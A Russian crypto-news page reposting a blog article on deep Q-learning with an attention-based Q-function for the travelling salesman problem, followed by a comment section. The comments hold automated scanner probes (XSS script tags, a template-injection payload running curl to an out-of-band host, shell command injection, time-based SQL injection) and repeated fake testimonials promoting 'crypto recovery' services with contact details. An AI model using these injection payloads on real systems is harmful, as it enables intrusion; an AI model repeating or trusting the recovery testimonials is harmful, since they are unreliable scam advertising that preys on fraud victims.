Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Глубокое Q-обучение (DQN)

вкалывают роботы
вкалывают роботы...

Немного контекста

Подходит к завершению серия моих заметок про использование идей искусственного интеллекта для решения задачи коммивояжера (TSP). Я последовательно разобрал некоторые классические решения TSP и далее рассказал про реализацию знаковой архитектуры нейронной сети Pointer Network на базе механизма внимания. К сожалению, данная архитектура оказалась весьма непрактичной и слабой в сравнении с классическими методами. Однако можно было заметить важное свойство — способность к обобщению задачи, то есть способность генерировать решение для задачи, которую модель еще не видела.

Далее я более подробно коснулся принципов работы механизма внимания и обучения с подкреплением. Не уверен, но мне кажется, эти темы сейчас чуть ли не самые популярные. Вот, например, краткое описание реализации Chat GPT-o1:

Технически GPT-o1 отличается использованием метода обучения с подкреплением, который позволяет модели улучшать свои способности к рассуждению путем получения обратной связи о правильности или ошибочности своих выводов. Это способствует более точному и обоснованному процессу принятия решений.

Магистральной идеей серии моих заметок являлось решение задачи TSP (задачи коммивояжера) различными алгоритмами, преимущественно доступными в виде описаний, значительно реже с исходным кодом. Теперь наступил черед опубликовать разбор своего собственного “велосипеда”. Момент для автора трепетный, но неизбежный. Возможно, я просто исследовал тупиковую ветвь развития алгоритмов, но хочется конечно надеяться на обратное.

Теория Deep Q-learning (DQN)

В прошлой заметке мы говорили о том, что уравнение Беллмана помогает находить эффективные стратегии решения разнообразных задач, включая видеоигры и, конечно, TSP. Такая универсальность уже выглядит многообещающе, впрочем, данный подход можно дополнительно прокачать с помощью глубокого обучения. Это позволит обойти ограничение на количество рассматриваемых состояний, которые можно поместить в Q-таблицу.

Другими словами, вместо оценки Q-таблицы можно обучать нейронную сеть или Q-функцию, которая будет аппроксимировать оптимальные решения. Вспомним формулу временной разности для уравнения Беллмана:

Q_\theta(s, a) \leftarrow Q_\theta(s, a) + \alpha \left( r(s, a) + \gamma \max_{a^{\prime}} Q_\theta \left( s^{\prime}, a^{\prime} \right) - Q_\theta(s, a) \right)

Данная формула очень напоминает градиентный спуск, где α играет роль learning rate. Более того, условия сходимости здесь такие же, как и в стохастическом градиентном спуске. И, действительно, табличный вариант Q-обучения является градиентным спуском для решения некоторой задачи регрессии.

Поскольку это очень принципиальный момент, остановимся на нём подробнее. Пусть у нас есть текущая версия Q_{\theta_k}(s, a), и мы хотим выполнить шаг метода простой итерации. Зададим следующую задачу регрессии:

  • Входом является пара s, a - состояние и действие.

  • Искомым значением \hat{y}​ на паре s, a или правая часть уравнения оптимальности Беллмана будет:

\hat{y} := r(s, a) + \gamma \mathbb{E_{s'}} \max_{a'} Q_{θ_k}(s', a'),

означает усреднение будущих наград по всем возможным следующим состояниям s′ с учётом вероятностей переходов среды, θ - параметры модели.

  • Наблюдаемым («зашумлённым») значением целевой переменной y или таргетом (target) будет:

y(s, a) := r(s, a) + \gamma \max_{a'} Q_{θ_k}(s', a'),

где s' \sim p(s' | s, a).

  • Функцией потерь MSE:

    \text{Loss}(y, \hat{y}) = \frac{1}{2} (y - \hat{y})^2

Таким образом, наблюдаемые значения мы берем из инференса «замороженной» по параметрам \theta_k​ глубокой модели плюс простые расчеты: выбираем максимум, умножаем на γ и суммируем с наградой. Искомые же значения – это просто инференс глубокой модели, в которой активированы градиенты для минимизации потерь(Loss). Осталось только разобраться, что значит «замороженная» модель.

Заметим, что, как и в классической постановке задачи машинного обучения, значение целевой переменной — это её «зашумлённое» значение: по входу s,a генерируется s′, затем от s′ считается детерминированная функция, и результат y является наблюдаемым значением. Мы можем для данной пары s,a засемплировать себе таргет, взяв переход (s,a,r,s′) и воспользовавшись семплом s′, но существенно, что такой таргет — случайная функция от входа. Принципиально: согласно уравнениям Беллмана, мы хотим выучить математическое ожидание такого таргета, а значит, нам нужна квадратичная функция потерь.

Рассмотренное теоретическое объяснение перехода от табличных методов к нейросетевым, конечно, предполагает, что мы решаем задачу регрессии «полностью», обучая θ при фиксированных θ_k. «Замороженные» θ_k​ соответствуют фиксированию формулы целевой переменной y(s,a), то есть фиксированию задачи регрессии. Так мы моделируем один шаг метода простой итерации, и только после этого объявляем выученные параметры модели \theta_{k+1} := \theta. В этот момент задача регрессии изменится (поменяется целевая переменная), и мы перейдём к следующему шагу метода простой итерации.

Однако в Q-обучении, как и во всех табличных методах, теория стохастической аппроксимации позволяла «сменять» задачу регрессии каждый шаг, используя свежие параметры модели при построении целевой переменной. Конечно, как только мы от «табличных параметрических функций» переходим к произвольным параметрическим семействам, все теоретические гарантии сходимости Q-обучения теряются (теоремы сходимости использовали «табличность» нашего представления Q-функции). Как только мы используем ограниченные параметрические семейства вроде нейросетей, неидеальные оптимизаторы вроде Адама или не доводим каждый этап метода простой итерации до сходимости, - гарантий нет.

Но возникает вопрос: сколько шагов градиентного спуска тратить на решение фиксированной задачи регрессии? Возникает естественное желание по аналогии с табличными методами использовать для построения таргета свежую модель, то есть менять целевую переменную в задаче регрессии каждый шаг после каждого градиентного шага:

y(s, a) := r + \gamma \max_a Q_\theta(s', a')

Принципиально важно, что зависимость целевой переменной y(s,a) от параметров текущей модели θ игнорировалась. Если вдруг в неё протекут градиенты, мы будем не только подстраивать прошлое под будущее, но и будущее под прошлое, что не будет являться корректной процедурой.

Эмпирически легко убедиться, что такой подход нестабилен, примерно от слова «совсем». Стохастическая оптимизация чревата тем, что после очередного шага модель может стать немного «сломанной» и некоторое время выдавать неудачные значения на ряде примеров. В обычном обучении с учителем этот эффект сглаживается большим количеством итераций: обучение на последующих мини-батчах «исправляет» предыдущие ошибки, и движение идёт в среднем в правильную сторону. Однако нет гарантий удачности каждого конкретного шага (на то это и стохастическая оптимизация). Здесь же, при неудачном шаге, сломанная модель может начать портить целевую переменную, на которую она же и обучается. Это приводит к цепной реакции: плохая целевая переменная начинает портить модель, которая, в свою очередь, портит целевую переменную… Этот эффект особенно ярко проявляется ещё и потому, что мы используем одношаговые целевые переменные, которые сильно смещены (слишком сильно опираются на текущую же аппроксимацию).

Для стабилизации процесса одну задачу регрессии нужно решать более чем за одну итерацию градиентного спуска: необходимо сделать хотя бы условно 100–200 шагов. Проблема в том, что если таргет строится по формуле r + \gamma \max_a Q_\theta(s, a), то после первого же градиентного шага θ поменяется.

Поэтому хранится копия Q-сети, называемая таргет-сетью (target network), единственная цель которой — генерировать таргеты текущей задачи регрессии для тренировок из засемплированных мини-батчей. Традиционно её параметры обозначаются \theta^-. Итак, целевая переменная в таких обозначениях генерируется по формуле:

y(T) := r + \gamma \max_a Q_{\theta^-}(s', a')

а раз в K шагов веса \theta^- просто копируются из текущей модели с весами θ для «задания» новой задачи регрессии.

Специальный соус для TSP

Теперь необходимо подробнее коснуться архитектуры нейронной сети, которая будет аппроксимировать Q-функцию. В теории можно рассматривать простую полносвязную нейронную сеть с ReLU в качестве функции активации и dropout на выходе. Однако в данном вопросе можно себя не ограничивать и в экспериментальном кураже попробовать использовать, что угодно: LSTM, convolution-слои и даже целые Decoder-Encoder + Attention.

Впрочем, ничего из перечисленного, кроме полносвязной сети, особо не заработало. При этом на вход подавались координаты текущего города без учёта того, какие города ещё нужно посетить. Здесь не нужно забывать про маску, которая топорно работает уже на самом выходе модели, обнуляя вероятности посещённых городов, но маска напрямую не влияет на параметры модели, а хотелось бы чтобы был механизм такого влияния.

Кроме того, хорошо бы как-то использовать расстояние до оставшихся городов и также штрафовать за действия, которые оставляют города-изгои в стороне от текущей позиции. Такие города существенно ухудшают решения так как в конечном итоге их нужно посетить из невыгодного состояния, сделав логистический крюк с длинным плечом. В итоге родилось следующее решение с механизмом внимания, построенным на базе формулы:

c_{t} = \sum_{t=1}^T \alpha (s_t, h_t)h_t,

где h_t​— это вектор (эмбеддинг) ещё не посещённых городов, а s_t — текущее состояние или координаты в пространстве эмбеддинга. В данном случае механизм внимания на выходе формирует координаты некоторого центра внимания оставшихся городов, взвешенные на веса параметров градиента. Далее производится расчёт расстояний до оставшихся точек, и такие расстояния попадают в полносвязную нейронную сеть FFN с использованием residual connection. Полученный результат суммируется с простым вектором расстояний D(s_t, s_t') между текущим городом и оставшимися:

Q_{\theta}(s_t, a_t) = FFN(D(c_{t}, s_t')) + D(c_{t}, s_t') - D(s_t, s_t'),

где D(c_{t}, s_t') — расстояние от центра внимания до оставшихся городов.

Таким образом, весьма прямолинейно учитывается эвристика выбора следующего города на базе расстояния, а также одновременно учитывается штраф/бонус за игнорирование/учёт городов-изгоев.

Механизм внимания
Механизм внимания

Возникает вопрос: насколько такая архитектура будет универсальной для прочих задач? С учётом того, что алгоритм завязан на метрические расстояния, можно допустить универсальность для задач оптимизации на метрических пространствах, например по времени или расстоянию, как в задаче TSP. Конечно, такую универсальность требуется проверять и исследовать. Если алгоритм будет плохо справляться с прочими задачами оптимизации, типа логистической VRP - Vehicle Routing Problem или производственной Flow Shop Scheduling Problem, то смысл всех проделанных упражнений автоматически перетекает в категорию философскую.

Практическая реализация DQN

Ранее уже упоминалось, что Q-обучение и, следовательно, его прокачанный собрат DQN являются off-policy, то есть не требуется отслеживать опыт взаимодействия конкретной стратегии со средой. Это на практике позволяет работать с любыми семплами, в том числе из буфера памяти.

На поверку буфер памяти в случае TSP не столько увеличил точность, сколько повысил стабильность алгоритма и дал некоторый выигрыш в скорости вычислений. В целом, Q-обучение и DQN, согласно теории, должны быть очень эффективны с точки зрения вычислений и семплирования: подразумевается, что можно брать мало семплов, и такие семплы не обязательно должны складываться в полный путь коммивояжера (полную игру). Достаточно, чтобы семплы покрывали все доступные состояния.

Теперь, когда все компоненты (Q-функция, таргет-сеть, реплей-буфер) на месте, можно зарисовать простую логическую архитектуру принципа работы DQN:

Логическая схема DQN
Логическая схема DQN

Также наглядно можно записать алгоритм в виде псевдокода:

Гиперпараметры:

  • B — размер мини-батчей

  • K — периодичность апдейта таргет-сети

  • ε(t) — стратегия исследования

  • Q — нейросетка с параметрами θ, SGD-оптимизатор

Инициализировать θ произвольно Положить \theta^- := \theta Пронаблюдать s_0​

На очередном шаге t:

  1. Выбрать a_t​ случайно с вероятностьюε(t), иначе a_t := \arg\max_{a_t} Q_{\theta}(s_t, a_t)

  2. Пронаблюдать r_t, s_{t+1}, \text{done}_{t+1}

  3. Добавить пятёрку (s_t, a_t, r_t, s_{t+1}, \text{done}_{t+1}) в реплей буфер

  4. Засемплировать мини-батч размера B из буфера

  5. Для каждого перехода T = (s, a, r, s', \text{done}) посчитать таргет:

    y(T) := r + \gamma (1 - \text{done}) \max_{a'} Q_{\theta^-}(s', a')

  6. Посчитать лосс:

    \text{Loss}(\theta) := \frac{1}{B} \sum_T (Q_{\theta}(s, a) - y(T))^2

  7. Сделать шаг градиентного спуска по θ, используя \nabla_{\theta} \text{Loss}(\theta)

  8. Если t \mod K = 0, то \theta^- \gets \theta

Терминология такого псевдокода почти полностью совпадает с терминами из заметки про Q-обучение, за исключением абстрактного оператора done. В данном случае речь идет об обработке терминального состояния, и моя реализация DQN работает аналогично табличному Q-обучению: предпоследний город получает штраф за переход в последний город и одновременно штраф за возвращение на исходную позицию.

Нужно сказать, что базовая реализация DQN не является вершиной эволюции и может быть дополнительно прокачана до вариантов Twin DQN и Noisy Nets, что может способствовать улучшению стабильности и точности инференсов модели.

Исходный код с нюансами реализации, в том числе реализация Twin DQN и Noisy Nets, остался за рамками данной заметки. Поэтому в качестве дополнительного материала можно использовать репозиторий проекта AI optimization.

Примеры расчетов

Любопытно, что DQN выдает достаточно хорошие решения уже на первых итерациях замороженной таргет-сети.

13b9be9e3a8f61baa4e58861f61a9d90.png

Данное решение отличается всего на 3% от оптимального, что внушает осторожные надежды на состоятельность архитектуры DQN для задач оптимизации. Интересно, сумеет ли данная архитектура обобщить свои знания и решить задачу TSP, которую модель ранее не видела?

2dfb8f28d2991f29f3ddfe03646e8989.png

Оно работает !!!

7200903976eaa0088f33469d3f7b1496.png

Тестирование

Касаемо точности, моя реализация DQN смогла лишь приблизиться, но не превзойти лучшие классические методы. Однако классические методы развиваются уже около 100 лет, тогда как технологии глубокого обучения начали свой эволюционный путь не так давно, и нужно хотя бы на это делать скидку.

b4d66b47f587c91cb097ba2e6e1d34b4.png

С точки зрения скорости вычислений DQN расположился где-то между PointerNet и Q-обучением

8c69602e74b33b4712f799ef23902b9c.png

Итоги

Архитектура DQN со специальным соусом на базе механизма внимания способна генерировать неплохие решения для TSP (задачи коммивояжера). Возможно, это не лучшие решения, но уже достаточно интересные. Кроме того, данная архитектура демонстрирует способность обобщать знания и генерировать достойные решения для задач, с которыми модель ранее не сталкивалась.

Полезные ссылки:

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 